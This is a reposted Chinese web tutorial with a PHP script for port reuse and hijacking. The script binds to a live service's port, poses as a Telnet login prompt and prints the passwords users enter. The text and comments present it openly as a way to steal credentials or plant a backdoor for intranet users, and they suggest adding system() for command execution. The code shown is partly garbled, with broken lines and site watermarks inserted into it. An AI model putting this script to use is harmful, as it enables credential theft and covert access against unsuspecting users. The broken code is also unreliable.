PHP下实现端口复用/劫持

2016-01-29 15:02 74 1 收藏

PHP下实现端口复用/劫持,PHP下实现端口复用/劫持

【 tulaoshi.com - PHP 】

 

假如监听127.0.0.1 ,访问共网IP不受影响,假如监听公网IP,127。0。0。1等IP不受影响。
这个可以用于欺骗用户密码,因为原来的服务不可用了。或者留成针对内网用户的后门。
最后欢迎加MSN:CQXY[AT]21CN。NET赐教。
#!/usr/bin/php -q
#c0dz by Darkness[BST]
#Team:www.bugkidz.org
#E-mail:cqxy[at]21cn.net
if ($argc != 3 || in_array($argc[1] , array('--help','-h','?')))
{
echo "Use:#./$argv[0] www.bugkidz.org 192.168.0.1 21rn";
echo "c0dz By Darkness[BST]";
exit;
}
error_reporting(E_ALL);

set_time_limit(0);

ob_implicit_flush();

$host = $argv[1];
$port = $argv[2];
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) < 0) {
echo "socket_create() failed: reason: " . socket_strerror($sock) . "n";
} /*建立SOCKET*/
socket_set_option($sock,SOL_SOCKET,SO_REUSEADDR,1); /*设置SOCKET连接的属性为SO_REUSEADDR,这样才可以端口复用*/
if (($ret = socket_bind($sock, $host, $port)) < 0) {
echo "socket_bind() failed: reason: " . socket_strerror($ret) . "n";
}/*绑定端口*/

if (($ret = socket_listen($sock, 5)) < 0) {
echo "socket_listen() failed: reason: " . socket_strerror($ret) . "n";
} /*开始监听*/


while(true) {

if (($sniffer = socket_accept($sock)) < 0) {
echo "socket_accept() failed: reason: " . socket_strerror($sniffer) . "n";
break;
}
if ($port == 23)
{
$txt = "Welcome to the Telnet Serverrn";
$txt .="User:rn";
socket_write($sniffer, $txt, strlen($txt));
} /*这里是伪装信息,把自己伪装成原来的TELNET服务器,这样来骗取密码*/

while(true) {

if(($buf _read($sniffer"=@socket_read($sniffer, 2048, PHP_BINARY_READ)) ==false)
{

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/php/)

break;

}

if (!$buf = trim($buf)) {
continue;
}


if ($buf == '!quit') {
break;
}
if ($buf == '!shutdown') {
socket_close($sniffer);
break 2; /*其实这里可以调用system(),搞成一个CMD后门,反正你想怎么改都可以*/
}

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/php/)

$sniff_data = "$bufrn";

/* else socket_write($sniffer, $sniff_data, strlen($sniff_data));*/
echo $sniff_data;
/*输出字符串,这里可以加进文件处理,保存密码什么的*/
}
socket_close($sniffer);


}
socket_close($resock);
socket_close($sock);
?

 

来源:http://www.tulaoshi.com/n/20160129/1495101.html

延伸阅读
标签: PHP
          广告轮播   --------------------------------------------------------------------------------            网路广告,变成了 Internet 上的热门学问。而 468x60 更变成了广告人员绞尽脑汁的尺寸。   在处理广告时...
标签: PHP
  作者:Harry Fuecks 翻译:Easy Chen  MVC模式在网站架构中十分常见。它允许我们建立一个三层结构的应用程式,从代码中分离出有用的层,帮助设计师和开发者协同工作以及提高我们维护和扩展既有程式的能力。 视图(View) “视图”主要指我们送到Web浏览器的最终结果——比如我们的脚本生成的HTML。当说到视图时,很多人想到的是...
标签: Web开发
Cookie 真是一个伟大的发明,它允许 web 开发者保留他们的用户的登录状态。然而,当你的站点或网络有一个以上的域名时就会出现问题了。 在 Cookie 规范上说,一个 cookie 只能用于一个域名,不能够发给其它的域名。因此,如果在浏览器中对一个域名设置了一个 cookie,这个 cookie 对于其它的域名将无效。如果你想让你的用户从你的站点...
被劫持镜像怎么解决 镜像劫持是16年出的一款程序名改名病毒,此病毒特色在于将自己的文件名修改为注册表中杀毒软件原本名字,导致系统错吧病毒判定为杀毒软件来运行,致使电脑中毒无法查杀。 安装了360杀毒软件的用户手动修改或者删除该注册表文件会显示失败。 同样也不能停止该服务,因为驱动会保护该程序。 被劫...
标签: PHP
  //文件上传。Linux+apache+php3/4测试通过。iis测试未通过,win+apache+php未测试   <?php   if ($HTTP_POST_VARS["upload"]=="上传"){   file://这里你可以加上检查文件名,格式,图片尺寸等功能,   file://$picurl 本地系统的全路径   file://$picurl_nam...

经验教程

284

收藏

39

精华推荐

用PHP实现XML备份

用PHP实现XML备份

双鱼美丽泡泡

linux下查看其他主机端口是否启动命令

linux下查看其他主机端口是否启动命令

wz201013007

代码复用的规则

代码复用的规则

w你那么美w

微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部